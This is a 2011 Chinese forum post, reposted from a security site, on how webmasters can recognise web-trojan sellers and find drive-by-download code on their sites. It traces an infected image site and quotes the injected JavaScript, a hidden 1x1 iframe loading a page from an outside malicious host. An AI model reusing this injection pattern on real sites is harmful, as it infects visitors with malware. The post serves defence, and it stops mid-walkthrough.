教大家识别挂马

dgqb2008 · 发表于 2011-1-26 23:55:44

一般挂马者都喜欢找图片站,电影站,网址站等娱-乐性站点...如果你技术又不太行,而又不想挂马,那要怎么样来识别挂马者呢?(当然,想挣这个钱的站长例外,可以不看!)

1,如何识别挂者?

  1.1,突然一天,一个qq加你说以高价的方式收流量(通常是100元/1万IP,按IP的质量来算.),其他大家想都能想到,有什么广告能值100元/1万呢? 99%是挂马的.

  1.2,突然有一天,一个QQ加你说要买文字或图片广告,但是用要JS调用或者框架(iframe)引用代码,以方便统计. 这种情况只要你不要挂马,直接qq拉黑,100%挂马者. 我一个朋友就上了一当,对方给50元/万IP按展示付费.最后我说你站被挂马,他还不知道怎么回事.后来气得哇哇叫...说要找一万只肉鸡D死那Y的..

  1.3,如果你不相信第2点,挂上了对方的代码广告,杀毒软件并未报毒.那就请看打开网页时的反应.如果打开网页卡,甚至IE假死.100%有马! 如果你装了RealOne并没有打补丁,打开网页时弹一下RealOne播放器,100%有马!

/////////////////BY 俺老虎 (http://www.anyiba.com)////////////////////

2,如何查找和无限制加密网马?

  2.1,当然,我这个方法并不能无限制所有加密网马.

  2.2,我现在随便在网上找一个图片站吧...http://www.jamt.com.cn/(这是那位兄弟的,不好意思了,我是随便乱找的).打开这个站卡了我一分钟,并弹出RealOne.确定有马,那我就来解剖它,把马找出来吧.

2.2.1,查看源码,按Ctrl+F搜索"iframe",没有找到内容.那就能肯定站长不是用框架来挂的了,那继续查找"script" 这下找到这么一句<SCRIPT language=javascript src="admin/js/top.js"></SCRIPT>.网马可能就挂在http://www.jamt.com.cn/admin/js/top.js这里面,我们下载它.发现其内容如下:document.writeln("<iframe src=http:\/\/www.iceak.net\/dl19.htm?001 width=1 height=1><\/iframe>"); 果不其然....

2.2.2,把框架的长和宽都设置成1不想让人看见啊?继续打开http://www.iceak.net/dl19.htm?001..查看源码,里面还是一个框架~<iframe src=news.html width=100 height=0></iframe>

本篇文章来源于新世纪网安基地 (www.520hack.com) 原文出处：http://www.520hack.com/Article/Text5/200803/9137.html
本篇文章来源于新世纪网安基地 (www.520hack.com) 原文出处：http://www.520hack.com/Article/Text5/200803/9137.html